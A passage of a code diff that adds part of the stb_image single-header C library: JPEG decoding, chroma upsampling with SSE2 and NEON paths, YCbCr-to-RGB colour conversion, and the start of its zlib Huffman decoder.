+      while (m == STBI__MARKER_none) {
+         // some files have extra padding after their blocks, so ok, we'll scan
+         if (stbi__at_eof(z->s)) return stbi__err("no SOF", "Corrupt JPEG");
+         m = stbi__get_marker(z);
+      }
+   }
+   z->progressive = stbi__SOF_progressive(m);
+   if (!stbi__process_frame_header(z, scan)) return 0;
+   return 1;
+}
+
+// decode image to YCbCr format
+static int stbi__decode_jpeg_image(stbi__jpeg *j)
+{
+   int m;
+   for (m = 0; m < 4; m++) {
+      j->img_comp[m].raw_data = NULL;
+      j->img_comp[m].raw_coeff = NULL;
+   }
+   j->restart_interval = 0;
+   if (!stbi__decode_jpeg_header(j, STBI__SCAN_load)) return 0;
+   m = stbi__get_marker(j);
+   while (!stbi__EOI(m)) {
+      if (stbi__SOS(m)) {
+         if (!stbi__process_scan_header(j)) return 0;
+         if (!stbi__parse_entropy_coded_data(j)) return 0;
+         if (j->marker == STBI__MARKER_none ) {
+            // handle 0s at the end of image data from IP Kamera 9060
+            while (!stbi__at_eof(j->s)) {
+               int x = stbi__get8(j->s);
+               if (x == 255) {
+                  j->marker = stbi__get8(j->s);
+                  break;
+               }
+            }
+            // if we reach eof without hitting a marker, stbi__get_marker() below will fail and we'll eventually return 0
+         }
+      } else if (stbi__DNL(m)) {
+         int Ld = stbi__get16be(j->s);
+         stbi__uint32 NL = stbi__get16be(j->s);
+         if (Ld != 4) return stbi__err("bad DNL len", "Corrupt JPEG");
+         if (NL != j->s->img_y) return stbi__err("bad DNL height", "Corrupt JPEG");
+      } else {
+         if (!stbi__process_marker(j, m)) return 0;
+      }
+      m = stbi__get_marker(j);
+   }
+   if (j->progressive)
+      stbi__jpeg_finish(j);
+   return 1;
+}
+
+// static jfif-centered resampling (across block boundaries)
+
+typedef stbi_uc *(*resample_row_func)(stbi_uc *out, stbi_uc *in0, stbi_uc *in1,
+                                    int w, int hs);
+
+#define stbi__div4(x) ((stbi_uc) ((x) >> 2))
+
+static stbi_uc *resample_row_1(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   STBI_NOTUSED(out);
+   STBI_NOTUSED(in_far);
+   STBI_NOTUSED(w);
+   STBI_NOTUSED(hs);
+   return in_near;
+}
+
+static stbi_uc* stbi__resample_row_v_2(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // need to generate two samples vertically for every one in input
+   int i;
+   STBI_NOTUSED(hs);
+   for (i=0; i < w; ++i)
+      out[i] = stbi__div4(3*in_near[i] + in_far[i] + 2);
+   return out;
+}
+
+static stbi_uc*  stbi__resample_row_h_2(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // need to generate two samples horizontally for every one in input
+   int i;
+   stbi_uc *input = in_near;
+
+   if (w == 1) {
+      // if only one sample, can't do any interpolation
+      out[0] = out[1] = input[0];
+      return out;
+   }
+
+   out[0] = input[0];
+   out[1] = stbi__div4(input[0]*3 + input[1] + 2);
+   for (i=1; i < w-1; ++i) {
+      int n = 3*input[i]+2;
+      out[i*2+0] = stbi__div4(n+input[i-1]);
+      out[i*2+1] = stbi__div4(n+input[i+1]);
+   }
+   out[i*2+0] = stbi__div4(input[w-2]*3 + input[w-1] + 2);
+   out[i*2+1] = input[w-1];
+
+   STBI_NOTUSED(in_far);
+   STBI_NOTUSED(hs);
+
+   return out;
+}
+
+#define stbi__div16(x) ((stbi_uc) ((x) >> 4))
+
+static stbi_uc *stbi__resample_row_hv_2(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // need to generate 2x2 samples for every one in input
+   int i,t0,t1;
+   if (w == 1) {
+      out[0] = out[1] = stbi__div4(3*in_near[0] + in_far[0] + 2);
+      return out;
+   }
+
+   t1 = 3*in_near[0] + in_far[0];
+   out[0] = stbi__div4(t1+2);
+   for (i=1; i < w; ++i) {
+      t0 = t1;
+      t1 = 3*in_near[i]+in_far[i];
+      out[i*2-1] = stbi__div16(3*t0 + t1 + 8);
+      out[i*2  ] = stbi__div16(3*t1 + t0 + 8);
+   }
+   out[w*2-1] = stbi__div4(t1+2);
+
+   STBI_NOTUSED(hs);
+
+   return out;
+}
+
+#if defined(STBI_SSE2) || defined(STBI_NEON)
+static stbi_uc *stbi__resample_row_hv_2_simd(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // need to generate 2x2 samples for every one in input
+   int i=0,t0,t1;
+
+   if (w == 1) {
+      out[0] = out[1] = stbi__div4(3*in_near[0] + in_far[0] + 2);
+      return out;
+   }
+
+   t1 = 3*in_near[0] + in_far[0];
+   // process groups of 8 pixels for as long as we can.
+   // note we can't handle the last pixel in a row in this loop
+   // because we need to handle the filter boundary conditions.
+   for (; i < ((w-1) & ~7); i += 8) {
+#if defined(STBI_SSE2)
+      // load and perform the vertical filtering pass
+      // this uses 3*x + y = 4*x + (y - x)
+      __m128i zero  = _mm_setzero_si128();
+      __m128i farb  = _mm_loadl_epi64((__m128i *) (in_far + i));
+      __m128i nearb = _mm_loadl_epi64((__m128i *) (in_near + i));
+      __m128i farw  = _mm_unpacklo_epi8(farb, zero);
+      __m128i nearw = _mm_unpacklo_epi8(nearb, zero);
+      __m128i diff  = _mm_sub_epi16(farw, nearw);
+      __m128i nears = _mm_slli_epi16(nearw, 2);
+      __m128i curr  = _mm_add_epi16(nears, diff); // current row
+
+      // horizontal filter works the same based on shifted vers of current
+      // row. "prev" is current row shifted right by 1 pixel; we need to
+      // insert the previous pixel value (from t1).
+      // "next" is current row shifted left by 1 pixel, with first pixel
+      // of next block of 8 pixels added in.
+      __m128i prv0 = _mm_slli_si128(curr, 2);
+      __m128i nxt0 = _mm_srli_si128(curr, 2);
+      __m128i prev = _mm_insert_epi16(prv0, t1, 0);
+      __m128i next = _mm_insert_epi16(nxt0, 3*in_near[i+8] + in_far[i+8], 7);
+
+      // horizontal filter, polyphase implementation since it's convenient:
+      // even pixels = 3*cur + prev = cur*4 + (prev - cur)
+      // odd  pixels = 3*cur + next = cur*4 + (next - cur)
+      // note the shared term.
+      __m128i bias  = _mm_set1_epi16(8);
+      __m128i curs = _mm_slli_epi16(curr, 2);
+      __m128i prvd = _mm_sub_epi16(prev, curr);
+      __m128i nxtd = _mm_sub_epi16(next, curr);
+      __m128i curb = _mm_add_epi16(curs, bias);
+      __m128i even = _mm_add_epi16(prvd, curb);
+      __m128i odd  = _mm_add_epi16(nxtd, curb);
+
+      // interleave even and odd pixels, then undo scaling.
+      __m128i int0 = _mm_unpacklo_epi16(even, odd);
+      __m128i int1 = _mm_unpackhi_epi16(even, odd);
+      __m128i de0  = _mm_srli_epi16(int0, 4);
+      __m128i de1  = _mm_srli_epi16(int1, 4);
+
+      // pack and write output
+      __m128i outv = _mm_packus_epi16(de0, de1);
+      _mm_storeu_si128((__m128i *) (out + i*2), outv);
+#elif defined(STBI_NEON)
+      // load and perform the vertical filtering pass
+      // this uses 3*x + y = 4*x + (y - x)
+      uint8x8_t farb  = vld1_u8(in_far + i);
+      uint8x8_t nearb = vld1_u8(in_near + i);
+      int16x8_t diff  = vreinterpretq_s16_u16(vsubl_u8(farb, nearb));
+      int16x8_t nears = vreinterpretq_s16_u16(vshll_n_u8(nearb, 2));
+      int16x8_t curr  = vaddq_s16(nears, diff); // current row
+
+      // horizontal filter works the same based on shifted vers of current
+      // row. "prev" is current row shifted right by 1 pixel; we need to
+      // insert the previous pixel value (from t1).
+      // "next" is current row shifted left by 1 pixel, with first pixel
+      // of next block of 8 pixels added in.
+      int16x8_t prv0 = vextq_s16(curr, curr, 7);
+      int16x8_t nxt0 = vextq_s16(curr, curr, 1);
+      int16x8_t prev = vsetq_lane_s16(t1, prv0, 0);
+      int16x8_t next = vsetq_lane_s16(3*in_near[i+8] + in_far[i+8], nxt0, 7);
+
+      // horizontal filter, polyphase implementation since it's convenient:
+      // even pixels = 3*cur + prev = cur*4 + (prev - cur)
+      // odd  pixels = 3*cur + next = cur*4 + (next - cur)
+      // note the shared term.
+      int16x8_t curs = vshlq_n_s16(curr, 2);
+      int16x8_t prvd = vsubq_s16(prev, curr);
+      int16x8_t nxtd = vsubq_s16(next, curr);
+      int16x8_t even = vaddq_s16(curs, prvd);
+      int16x8_t odd  = vaddq_s16(curs, nxtd);
+
+      // undo scaling and round, then store with even/odd phases interleaved
+      uint8x8x2_t o;
+      o.val[0] = vqrshrun_n_s16(even, 4);
+      o.val[1] = vqrshrun_n_s16(odd,  4);
+      vst2_u8(out + i*2, o);
+#endif
+
+      // "previous" value for next iter
+      t1 = 3*in_near[i+7] + in_far[i+7];
+   }
+
+   t0 = t1;
+   t1 = 3*in_near[i] + in_far[i];
+   out[i*2] = stbi__div16(3*t1 + t0 + 8);
+
+   for (++i; i < w; ++i) {
+      t0 = t1;
+      t1 = 3*in_near[i]+in_far[i];
+      out[i*2-1] = stbi__div16(3*t0 + t1 + 8);
+      out[i*2  ] = stbi__div16(3*t1 + t0 + 8);
+   }
+   out[w*2-1] = stbi__div4(t1+2);
+
+   STBI_NOTUSED(hs);
+
+   return out;
+}
+#endif
+
+static stbi_uc *stbi__resample_row_generic(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // resample with nearest-neighbor
+   int i,j;
+   STBI_NOTUSED(in_far);
+   for (i=0; i < w; ++i)
+      for (j=0; j < hs; ++j)
+         out[i*hs+j] = in_near[i];
+   return out;
+}
+
+// this is a reduced-precision calculation of YCbCr-to-RGB introduced
+// to make sure the code produces the same results in both SIMD and scalar
+#define stbi__float2fixed(x)  (((int) ((x) * 4096.0f + 0.5f)) << 8)
+static void stbi__YCbCr_to_RGB_row(stbi_uc *out, const stbi_uc *y, const stbi_uc *pcb, const stbi_uc *pcr, int count, int step)
+{
+   int i;
+   for (i=0; i < count; ++i) {
+      int y_fixed = (y[i] << 20) + (1<<19); // rounding
+      int r,g,b;
+      int cr = pcr[i] - 128;
+      int cb = pcb[i] - 128;
+      r = y_fixed +  cr* stbi__float2fixed(1.40200f);
+      g = y_fixed + (cr*-stbi__float2fixed(0.71414f)) + ((cb*-stbi__float2fixed(0.34414f)) & 0xffff0000);
+      b = y_fixed                                     +   cb* stbi__float2fixed(1.77200f);
+      r >>= 20;
+      g >>= 20;
+      b >>= 20;
+      if ((unsigned) r > 255) { if (r < 0) r = 0; else r = 255; }
+      if ((unsigned) g > 255) { if (g < 0) g = 0; else g = 255; }
+      if ((unsigned) b > 255) { if (b < 0) b = 0; else b = 255; }
+      out[0] = (stbi_uc)r;
+      out[1] = (stbi_uc)g;
+      out[2] = (stbi_uc)b;
+      out[3] = 255;
+      out += step;
+   }
+}
+
+#if defined(STBI_SSE2) || defined(STBI_NEON)
+static void stbi__YCbCr_to_RGB_simd(stbi_uc *out, stbi_uc const *y, stbi_uc const *pcb, stbi_uc const *pcr, int count, int step)
+{
+   int i = 0;
+
+#ifdef STBI_SSE2
+   // step == 3 is pretty ugly on the final interleave, and i'm not convinced
+   // it's useful in practice (you wouldn't use it for textures, for example).
+   // so just accelerate step == 4 case.
+   if (step == 4) {
+      // this is a fairly straightforward implementation and not super-optimized.
+      __m128i signflip  = _mm_set1_epi8(-0x80);
+      __m128i cr_const0 = _mm_set1_epi16(   (short) ( 1.40200f*4096.0f+0.5f));
+      __m128i cr_const1 = _mm_set1_epi16( - (short) ( 0.71414f*4096.0f+0.5f));
+      __m128i cb_const0 = _mm_set1_epi16( - (short) ( 0.34414f*4096.0f+0.5f));
+      __m128i cb_const1 = _mm_set1_epi16(   (short) ( 1.77200f*4096.0f+0.5f));
+      __m128i y_bias = _mm_set1_epi8((char) (unsigned char) 128);
+      __m128i xw = _mm_set1_epi16(255); // alpha channel
+
+      for (; i+7 < count; i += 8) {
+         // load
+         __m128i y_bytes = _mm_loadl_epi64((__m128i *) (y+i));
+         __m128i cr_bytes = _mm_loadl_epi64((__m128i *) (pcr+i));
+         __m128i cb_bytes = _mm_loadl_epi64((__m128i *) (pcb+i));
+         __m128i cr_biased = _mm_xor_si128(cr_bytes, signflip); // -128
+         __m128i cb_biased = _mm_xor_si128(cb_bytes, signflip); // -128
+
+         // unpack to short (and left-shift cr, cb by 8)
+         __m128i yw  = _mm_unpacklo_epi8(y_bias, y_bytes);
+         __m128i crw = _mm_unpacklo_epi8(_mm_setzero_si128(), cr_biased);
+         __m128i cbw = _mm_unpacklo_epi8(_mm_setzero_si128(), cb_biased);
+
+         // color transform
+         __m128i yws = _mm_srli_epi16(yw, 4);
+         __m128i cr0 = _mm_mulhi_epi16(cr_const0, crw);
+         __m128i cb0 = _mm_mulhi_epi16(cb_const0, cbw);
+         __m128i cb1 = _mm_mulhi_epi16(cbw, cb_const1);
+         __m128i cr1 = _mm_mulhi_epi16(crw, cr_const1);
+         __m128i rws = _mm_add_epi16(cr0, yws);
+         __m128i gwt = _mm_add_epi16(cb0, yws);
+         __m128i bws = _mm_add_epi16(yws, cb1);
+         __m128i gws = _mm_add_epi16(gwt, cr1);
+
+         // descale
+         __m128i rw = _mm_srai_epi16(rws, 4);
+         __m128i bw = _mm_srai_epi16(bws, 4);
+         __m128i gw = _mm_srai_epi16(gws, 4);
+
+         // back to byte, set up for transpose
+         __m128i brb = _mm_packus_epi16(rw, bw);
+         __m128i gxb = _mm_packus_epi16(gw, xw);
+
+         // transpose to interleave channels
+         __m128i t0 = _mm_unpacklo_epi8(brb, gxb);
+         __m128i t1 = _mm_unpackhi_epi8(brb, gxb);
+         __m128i o0 = _mm_unpacklo_epi16(t0, t1);
+         __m128i o1 = _mm_unpackhi_epi16(t0, t1);
+
+         // store
+         _mm_storeu_si128((__m128i *) (out + 0), o0);
+         _mm_storeu_si128((__m128i *) (out + 16), o1);
+         out += 32;
+      }
+   }
+#endif
+
+#ifdef STBI_NEON
+   // in this version, step=3 support would be easy to add. but is there demand?
+   if (step == 4) {
+      // this is a fairly straightforward implementation and not super-optimized.
+      uint8x8_t signflip = vdup_n_u8(0x80);
+      int16x8_t cr_const0 = vdupq_n_s16(   (short) ( 1.40200f*4096.0f+0.5f));
+      int16x8_t cr_const1 = vdupq_n_s16( - (short) ( 0.71414f*4096.0f+0.5f));
+      int16x8_t cb_const0 = vdupq_n_s16( - (short) ( 0.34414f*4096.0f+0.5f));
+      int16x8_t cb_const1 = vdupq_n_s16(   (short) ( 1.77200f*4096.0f+0.5f));
+
+      for (; i+7 < count; i += 8) {
+         // load
+         uint8x8_t y_bytes  = vld1_u8(y + i);
+         uint8x8_t cr_bytes = vld1_u8(pcr + i);
+         uint8x8_t cb_bytes = vld1_u8(pcb + i);
+         int8x8_t cr_biased = vreinterpret_s8_u8(vsub_u8(cr_bytes, signflip));
+         int8x8_t cb_biased = vreinterpret_s8_u8(vsub_u8(cb_bytes, signflip));
+
+         // expand to s16
+         int16x8_t yws = vreinterpretq_s16_u16(vshll_n_u8(y_bytes, 4));
+         int16x8_t crw = vshll_n_s8(cr_biased, 7);
+         int16x8_t cbw = vshll_n_s8(cb_biased, 7);
+
+         // color transform
+         int16x8_t cr0 = vqdmulhq_s16(crw, cr_const0);
+         int16x8_t cb0 = vqdmulhq_s16(cbw, cb_const0);
+         int16x8_t cr1 = vqdmulhq_s16(crw, cr_const1);
+         int16x8_t cb1 = vqdmulhq_s16(cbw, cb_const1);
+         int16x8_t rws = vaddq_s16(yws, cr0);
+         int16x8_t gws = vaddq_s16(vaddq_s16(yws, cb0), cr1);
+         int16x8_t bws = vaddq_s16(yws, cb1);
+
+         // undo scaling, round, convert to byte
+         uint8x8x4_t o;
+         o.val[0] = vqrshrun_n_s16(rws, 4);
+         o.val[1] = vqrshrun_n_s16(gws, 4);
+         o.val[2] = vqrshrun_n_s16(bws, 4);
+         o.val[3] = vdup_n_u8(255);
+
+         // store, interleaving r/g/b/a
+         vst4_u8(out, o);
+         out += 8*4;
+      }
+   }
+#endif
+
+   for (; i < count; ++i) {
+      int y_fixed = (y[i] << 20) + (1<<19); // rounding
+      int r,g,b;
+      int cr = pcr[i] - 128;
+      int cb = pcb[i] - 128;
+      r = y_fixed + cr* stbi__float2fixed(1.40200f);
+      g = y_fixed + cr*-stbi__float2fixed(0.71414f) + ((cb*-stbi__float2fixed(0.34414f)) & 0xffff0000);
+      b = y_fixed                                   +   cb* stbi__float2fixed(1.77200f);
+      r >>= 20;
+      g >>= 20;
+      b >>= 20;
+      if ((unsigned) r > 255) { if (r < 0) r = 0; else r = 255; }
+      if ((unsigned) g > 255) { if (g < 0) g = 0; else g = 255; }
+      if ((unsigned) b > 255) { if (b < 0) b = 0; else b = 255; }
+      out[0] = (stbi_uc)r;
+      out[1] = (stbi_uc)g;
+      out[2] = (stbi_uc)b;
+      out[3] = 255;
+      out += step;
+   }
+}
+#endif
+
+// set up the kernels
+static void stbi__setup_jpeg(stbi__jpeg *j)
+{
+   j->idct_block_kernel = stbi__idct_block;
+   j->YCbCr_to_RGB_kernel = stbi__YCbCr_to_RGB_row;
+   j->resample_row_hv_2_kernel = stbi__resample_row_hv_2;
+
+#ifdef STBI_SSE2
+   if (stbi__sse2_available()) {
+      j->idct_block_kernel = stbi__idct_simd;
+      j->YCbCr_to_RGB_kernel = stbi__YCbCr_to_RGB_simd;
+      j->resample_row_hv_2_kernel = stbi__resample_row_hv_2_simd;
+   }
+#endif
+
+#ifdef STBI_NEON
+   j->idct_block_kernel = stbi__idct_simd;
+   j->YCbCr_to_RGB_kernel = stbi__YCbCr_to_RGB_simd;
+   j->resample_row_hv_2_kernel = stbi__resample_row_hv_2_simd;
+#endif
+}
+
+// clean up the temporary component buffers
+static void stbi__cleanup_jpeg(stbi__jpeg *j)
+{
+   stbi__free_jpeg_components(j, j->s->img_n, 0);
+}
+
+typedef struct
+{
+   resample_row_func resample;
+   stbi_uc *line0,*line1;
+   int hs,vs;   // expansion factor in each axis
+   int w_lores; // horizontal pixels pre-expansion
+   int ystep;   // how far through vertical expansion we are
+   int ypos;    // which pre-expansion row we're on
+} stbi__resample;
+
+// fast 0..255 * 0..255 => 0..255 rounded multiplication
+static stbi_uc stbi__blinn_8x8(stbi_uc x, stbi_uc y)
+{
+   unsigned int t = x*y + 128;
+   return (stbi_uc) ((t + (t >>8)) >> 8);
+}
+
+static stbi_uc *load_jpeg_image(stbi__jpeg *z, int *out_x, int *out_y, int *comp, int req_comp)
+{
+   int n, decode_n, is_rgb;
+   z->s->img_n = 0; // make stbi__cleanup_jpeg safe
+
+   // validate req_comp
+   if (req_comp < 0 || req_comp > 4) return stbi__errpuc("bad req_comp", "Internal error");
+
+   // load a jpeg image from whichever source, but leave in YCbCr format
+   if (!stbi__decode_jpeg_image(z)) { stbi__cleanup_jpeg(z); return NULL; }
+
+   // determine actual number of components to generate
+   n = req_comp ? req_comp : z->s->img_n >= 3 ? 3 : 1;
+
+   is_rgb = z->s->img_n == 3 && (z->rgb == 3 || (z->app14_color_transform == 0 && !z->jfif));
+
+   if (z->s->img_n == 3 && n < 3 && !is_rgb)
+      decode_n = 1;
+   else
+      decode_n = z->s->img_n;
+
+   // resample and color-convert
+   {
+      int k;
+      unsigned int i,j;
+      stbi_uc *output;
+      stbi_uc *coutput[4];
+
+      stbi__resample res_comp[4];
+
+      for (k=0; k < decode_n; ++k) {
+         stbi__resample *r = &res_comp[k];
+
+         // allocate line buffer big enough for upsampling off the edges
+         // with upsample factor of 4
+         z->img_comp[k].linebuf = (stbi_uc *) stbi__malloc(z->s->img_x + 3);
+         if (!z->img_comp[k].linebuf) { stbi__cleanup_jpeg(z); return stbi__errpuc("outofmem", "Out of memory"); }
+
+         r->hs      = z->img_h_max / z->img_comp[k].h;
+         r->vs      = z->img_v_max / z->img_comp[k].v;
+         r->ystep   = r->vs >> 1;
+         r->w_lores = (z->s->img_x + r->hs-1) / r->hs;
+         r->ypos    = 0;
+         r->line0   = r->line1 = z->img_comp[k].data;
+
+         if      (r->hs == 1 && r->vs == 1) r->resample = resample_row_1;
+         else if (r->hs == 1 && r->vs == 2) r->resample = stbi__resample_row_v_2;
+         else if (r->hs == 2 && r->vs == 1) r->resample = stbi__resample_row_h_2;
+         else if (r->hs == 2 && r->vs == 2) r->resample = z->resample_row_hv_2_kernel;
+         else                               r->resample = stbi__resample_row_generic;
+      }
+
+      // can't error after this so, this is safe
+      output = (stbi_uc *) stbi__malloc_mad3(n, z->s->img_x, z->s->img_y, 1);
+      if (!output) { stbi__cleanup_jpeg(z); return stbi__errpuc("outofmem", "Out of memory"); }
+
+      // now go ahead and resample
+      for (j=0; j < z->s->img_y; ++j) {
+         stbi_uc *out = output + n * z->s->img_x * j;
+         for (k=0; k < decode_n; ++k) {
+            stbi__resample *r = &res_comp[k];
+            int y_bot = r->ystep >= (r->vs >> 1);
+            coutput[k] = r->resample(z->img_comp[k].linebuf,
+                                     y_bot ? r->line1 : r->line0,
+                                     y_bot ? r->line0 : r->line1,
+                                     r->w_lores, r->hs);
+            if (++r->ystep >= r->vs) {
+               r->ystep = 0;
+               r->line0 = r->line1;
+               if (++r->ypos < z->img_comp[k].y)
+                  r->line1 += z->img_comp[k].w2;
+            }
+         }
+         if (n >= 3) {
+            stbi_uc *y = coutput[0];
+            if (z->s->img_n == 3) {
+               if (is_rgb) {
+                  for (i=0; i < z->s->img_x; ++i) {
+                     out[0] = y[i];
+                     out[1] = coutput[1][i];
+                     out[2] = coutput[2][i];
+                     out[3] = 255;
+                     out += n;
+                  }
+               } else {
+                  z->YCbCr_to_RGB_kernel(out, y, coutput[1], coutput[2], z->s->img_x, n);
+               }
+            } else if (z->s->img_n == 4) {
+               if (z->app14_color_transform == 0) { // CMYK
+                  for (i=0; i < z->s->img_x; ++i) {
+                     stbi_uc m = coutput[3][i];
+                     out[0] = stbi__blinn_8x8(coutput[0][i], m);
+                     out[1] = stbi__blinn_8x8(coutput[1][i], m);
+                     out[2] = stbi__blinn_8x8(coutput[2][i], m);
+                     out[3] = 255;
+                     out += n;
+                  }
+               } else if (z->app14_color_transform == 2) { // YCCK
+                  z->YCbCr_to_RGB_kernel(out, y, coutput[1], coutput[2], z->s->img_x, n);
+                  for (i=0; i < z->s->img_x; ++i) {
+                     stbi_uc m = coutput[3][i];
+                     out[0] = stbi__blinn_8x8(255 - out[0], m);
+                     out[1] = stbi__blinn_8x8(255 - out[1], m);
+                     out[2] = stbi__blinn_8x8(255 - out[2], m);
+                     out += n;
+                  }
+               } else { // YCbCr + alpha?  Ignore the fourth channel for now
+                  z->YCbCr_to_RGB_kernel(out, y, coutput[1], coutput[2], z->s->img_x, n);
+               }
+            } else
+               for (i=0; i < z->s->img_x; ++i) {
+                  out[0] = out[1] = out[2] = y[i];
+                  out[3] = 255; // not used if n==3
+                  out += n;
+               }
+         } else {
+            if (is_rgb) {
+               if (n == 1)
+                  for (i=0; i < z->s->img_x; ++i)
+                     *out++ = stbi__compute_y(coutput[0][i], coutput[1][i], coutput[2][i]);
+               else {
+                  for (i=0; i < z->s->img_x; ++i, out += 2) {
+                     out[0] = stbi__compute_y(coutput[0][i], coutput[1][i], coutput[2][i]);
+                     out[1] = 255;
+                  }
+               }
+            } else if (z->s->img_n == 4 && z->app14_color_transform == 0) {
+               for (i=0; i < z->s->img_x; ++i) {
+                  stbi_uc m = coutput[3][i];
+                  stbi_uc r = stbi__blinn_8x8(coutput[0][i], m);
+                  stbi_uc g = stbi__blinn_8x8(coutput[1][i], m);
+                  stbi_uc b = stbi__blinn_8x8(coutput[2][i], m);
+                  out[0] = stbi__compute_y(r, g, b);
+                  out[1] = 255;
+                  out += n;
+               }
+            } else if (z->s->img_n == 4 && z->app14_color_transform == 2) {
+               for (i=0; i < z->s->img_x; ++i) {
+                  out[0] = stbi__blinn_8x8(255 - coutput[0][i], coutput[3][i]);
+                  out[1] = 255;
+                  out += n;
+               }
+            } else {
+               stbi_uc *y = coutput[0];
+               if (n == 1)
+                  for (i=0; i < z->s->img_x; ++i) out[i] = y[i];
+               else
+                  for (i=0; i < z->s->img_x; ++i) *out++ = y[i], *out++ = 255;
+            }
+         }
+      }
+      stbi__cleanup_jpeg(z);
+      *out_x = z->s->img_x;
+      *out_y = z->s->img_y;
+      if (comp) *comp = z->s->img_n >= 3 ? 3 : 1; // report original components, not output
+      return output;
+   }
+}
+
+static void *stbi__jpeg_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   unsigned char* result;
+   stbi__jpeg* j = (stbi__jpeg*) stbi__malloc(sizeof(stbi__jpeg));
+   STBI_NOTUSED(ri);
+   j->s = s;
+   stbi__setup_jpeg(j);
+   result = load_jpeg_image(j, x,y,comp,req_comp);
+   STBI_FREE(j);
+   return result;
+}
+
+static int stbi__jpeg_test(stbi__context *s)
+{
+   int r;
+   stbi__jpeg* j = (stbi__jpeg*)stbi__malloc(sizeof(stbi__jpeg));
+   j->s = s;
+   stbi__setup_jpeg(j);
+   r = stbi__decode_jpeg_header(j, STBI__SCAN_type);
+   stbi__rewind(s);
+   STBI_FREE(j);
+   return r;
+}
+
+static int stbi__jpeg_info_raw(stbi__jpeg *j, int *x, int *y, int *comp)
+{
+   if (!stbi__decode_jpeg_header(j, STBI__SCAN_header)) {
+      stbi__rewind( j->s );
+      return 0;
+   }
+   if (x) *x = j->s->img_x;
+   if (y) *y = j->s->img_y;
+   if (comp) *comp = j->s->img_n >= 3 ? 3 : 1;
+   return 1;
+}
+
+static int stbi__jpeg_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   int result;
+   stbi__jpeg* j = (stbi__jpeg*) (stbi__malloc(sizeof(stbi__jpeg)));
+   j->s = s;
+   result = stbi__jpeg_info_raw(j, x, y, comp);
+   STBI_FREE(j);
+   return result;
+}
+#endif
+
+// public domain zlib decode    v0.2  Sean Barrett 2006-11-18
+//    simple implementation
+//      - all input must be provided in an upfront buffer
+//      - all output is written to a single output buffer (can malloc/realloc)
+//    performance
+//      - fast huffman
+
+#ifndef STBI_NO_ZLIB
+
+// fast-way is faster to check than jpeg huffman, but slow way is slower
+#define STBI__ZFAST_BITS  9 // accelerate all cases in default tables
+#define STBI__ZFAST_MASK  ((1 << STBI__ZFAST_BITS) - 1)
+
+// zlib-style huffman encoding
+// (jpegs packs from left, zlib from right, so can't share code)
+typedef struct
+{
+   stbi__uint16 fast[1 << STBI__ZFAST_BITS];
+   stbi__uint16 firstcode[16];
+   int maxcode[17];
+   stbi__uint16 firstsymbol[16];
+   stbi_uc  size[288];
+   stbi__uint16 value[288];
+} stbi__zhuffman;
+
+stbi_inline static int stbi__bitreverse16(int n)
+{
+  n = ((n & 0xAAAA) >>  1) | ((n & 0x5555) << 1);
+  n = ((n & 0xCCCC) >>  2) | ((n & 0x3333) << 2);
+  n = ((n & 0xF0F0) >>  4) | ((n & 0x0F0F) << 4);
+  n = ((n & 0xFF00) >>  8) | ((n & 0x00FF) << 8);
+  return n;
+}
+
+stbi_inline static int stbi__bit_reverse(int v, int bits)
+{
+   STBI_ASSERT(bits <= 16);
+   // to bit reverse n bits, reverse 16 and shift
+   // e.g. 11 bits, bit reverse and shift away 5
+   return stbi__bitreverse16(v) >> (16-bits);
+}
+
+static int stbi__zbuild_huffman(stbi__zhuffman *z, const stbi_uc *sizelist, int num)
+{
+   int i,k=0;
+   int code, next_code[16], sizes[17];
+
+   // DEFLATE spec for generating codes
+   memset(sizes, 0, sizeof(sizes));
+   memset(z->fast, 0, sizeof(z->fast));
+   for (i=0; i < num; ++i)
+      ++sizes[sizelist[i]];
+   sizes[0] = 0;
+   for (i=1; i < 16; ++i)
+      if (sizes[i] > (1 << i))
+         return stbi__err("bad sizes", "Corrupt PNG");
+   code = 0;
+   for (i=1; i < 16; ++i) {
+      next_code[i] = code;
+      z->firstcode[i] = (stbi__uint16) code;
+      z->firstsymbol[i] = (stbi__uint16) k;
+      code = (code + sizes[i]);
+      if (sizes[i])
+         if (code-1 >= (1 << i)) return stbi__err("bad codelengths","Corrupt PNG");
+      z->maxcode[i] = code << (16-i); // preshift for inner loop
+      code <<= 1;
+      k += sizes[i];
+   }
+   z->maxcode[16] = 0x10000; // sentinel
+   for (i=0; i < num; ++i) {
+      int s = sizelist[i];
+      if (s) {
+         int c = next_code[s] - z->firstcode[s] + z->firstsymbol[s];
+         stbi__uint16 fastv = (stbi__uint16) ((s << 9) | i);
+         z->size [c] = (stbi_uc     ) s;
+         z->value[c] = (stbi__uint16) i;
+         if (s <= STBI__ZFAST_BITS) {
+            int j = stbi__bit_reverse(next_code[s],s);
+            while (j < (1 << STBI__ZFAST_BITS)) {
+               z->fast[j] = fastv;
+               j += (1 << s);
+            }
+         }
+         ++next_code[s];
+      }
+   }
+   return 1;
+}
+
+// zlib-from-memory implementation for PNG reading
+//    because PNG allows splitting the zlib stream arbitrarily,
+//    and it's annoying structurally to have PNG call ZLIB call PNG,
+//    we require PNG read all the IDATs and combine them into a single
+//    memory buffer
+
+typedef struct
+{
+   stbi_uc *zbuffer, *zbuffer_end;
+   int num_bits;
+   stbi__uint32 code_buffer;
+
+   char *zout;
+   char *zout_start;
+   char *zout_end;
+   int   z_expandable;
+
+   stbi__zhuffman z_length, z_distance;
+} stbi__zbuf;
+
+stbi_inline static stbi_uc stbi__zget8(stbi__zbuf *z)
+{
+   if (z->zbuffer >= z->zbuffer_end) return 0;
+   return *z->zbuffer++;
+}
+
+static void stbi__fill_bits(stbi__zbuf *z)
+{
+   do {
+      STBI_ASSERT(z->code_buffer < (1U << z->num_bits));
+      z->code_buffer |= (unsigned int) stbi__zget8(z) << z->num_bits;
+      z->num_bits += 8;
+   } while (z->num_bits <= 24);
+}
+
+stbi_inline static unsigned int stbi__zreceive(stbi__zbuf *z, int n)
+{
+   unsigned int k;
+   if (z->num_bits < n) stbi__fill_bits(z);
+   k = z->code_buffer & ((1 << n) - 1);
